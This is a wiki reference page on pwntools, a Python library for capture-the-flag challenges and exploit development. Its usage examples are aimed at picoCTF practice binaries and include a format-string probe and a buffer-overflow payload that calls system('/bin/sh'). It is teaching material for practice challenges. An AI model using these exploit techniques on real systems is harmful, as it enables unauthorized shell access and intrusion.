Pwntools

From aldeid
Jump to navigation Jump to search

Description

pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

Installation

$ python -m pip install --user pwntools

Examples

Establish a communication

The following example will connect with 2018shell.picoctf.com to port 34802/tcp

from pwn import *
host, port = '2018shell.picoctf.com', 34802
s = remote(host, port)
#
# ...
#
s.close()

Start an ELF executable

elf = pwn.ELF('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1/vuln')
p = elf.process()
output = p.recv()

Send and receive content

from pwn import *
host, port = '2018shell.picoctf.com', 34802
s = remote(host, port)
s.recvuntil('> ')
s.sendline('%8$s')
response = s.recv()
print(response)
s.close()

Suppose that you have an executable that displays a prompt (yes/no) and you want to inject a payload:

$ ./auth 
Would you like to read the flag? (yes/no)
yes
Sorry, you are not *authenticated*!

Here is the way to do:

proc.sendlineafter("(yes/no)", payload)

List symbols

>>> from pwn import *
>>> elf = ELF('./auth')
[*] '/data/documents/challenges/picoCTF_2018/binary_exploitation/350-authenticate/files/auth'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> elf.symbols
{'stdout': 134520900, '_IO_stdin_used': 134514860, 'stdin': 134520896, '': 134520896, '__JCR_LIST__': 134520592, 'deregister_tm_clones': 134514080, 'register_tm_clones': 134514128, '__do_global_dtors_aux': 134514192, 'completed.7209': 134520904, '__do_global_dtors_aux_fini_array_entry': 134520588, 'frame_dummy': 134514224, '__frame_dummy_init_array_entry': 134520584, '__FRAME_END__': 134515464, '__JCR_END__': 134520592, '__init_array_end': 134520588, '_DYNAMIC': 134520596, '__init_array_start': 134520584, '__GNU_EH_FRAME_HDR': 134515140, '_GLOBAL_OFFSET_TABLE_': 134520832, '__libc_csu_fini': 134514832, '__x86.get_pc_thunk.bx': 134514064, 'data_start': 134520888, '_edata': 134520896, '_fini': 134514836, '__data_start': 134520888, '__dso_handle': 134520892, '__libc_csu_init': 134514736, 'stdin@@GLIBC_2.0': 134520896, '_end': 134520912, '_start': 134514016, '_fp_hw': 134514856, 'stdout@@GLIBC_2.0': 134520900, '__bss_start': 134520896, 'main': 134514461, 'authenticated': 134520908, '__TMC_END__': 134520896, 'flag': 134514267, '_init': 134513760, 'read_flag': 134514404, 'setresgid': 134513984, 'plt.setresgid': 134513984, 'fopen': 134513968, 'plt.fopen': 134513968, 'setvbuf': 134513952, 'plt.setvbuf': 134513952, '__libc_start_main': 134513936, 'plt.__libc_start_main': 134513936, 'exit': 134513920, 'plt.exit': 134513920, 'puts': 134513904, 'plt.puts': 134513904, 'getegid': 134513888, 'plt.getegid': 134513888, '__stack_chk_fail': 134513872, 'plt.__stack_chk_fail': 134513872, 'fgets': 134513856, 'plt.fgets': 134513856, 'printf': 134513840, 'plt.printf': 134513840, 'strstr': 134513824, 'plt.strstr': 134513824, '__gmon_start__': 134514000, 'plt.__gmon_start__': 134514000, 'got.__gmon_start__': 134520828, 'got.stdin': 134520896, 'got.stdout': 134520900, 'got.strstr': 134520844, 'got.printf': 134520848, 'got.fgets': 134520852, 'got.__stack_chk_fail': 134520856, 'got.getegid': 134520860, 'got.puts': 134520864, 'got.exit': 134520868, 'got.__libc_start_main': 134520872, 'got.setvbuf': 134520876, 'got.fopen': 134520880, 'got.setresgid': 134520884}

Packing strings

# execute system('/bin/sh')
payload  = 'A'*160                    # buffer overflow
payload += pwn.p32(mem_system)        # system
payload += 'B'*4                      # return address
payload += pwn.p32(mem_useful_string) # /bin/sh
$ python -c "import pwn; print(pwn.p32(0x80485cb))"
b'\xcb\x85\x04\x08'

XOR

#!/bin/env python
import pwn
greetingMessage = "You have now entered the Duck Web, and you're in for a honkin' good time."
sekrutBuffer = [0x29, 0x06, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b,
                0x08, 0x5d, 0x2b, 0x52, 0x17, 0x01, 0x57, 0x16, 0x11, 0x5c, 0x07, 0x5d, 0x00]
print(pwn.xor(greetingMessage, sekrutBuffer))

Patch an executable

The following example shows how to open the executable be-quick-or-be-dead-2, replace the alarm function with a return and save the patched executable as new:

from pwn import *
elf = ELF('./be-quick-or-be-dead-2')
elf.asm(elf.symbols['alarm'], 'ret')
elf.save('./new')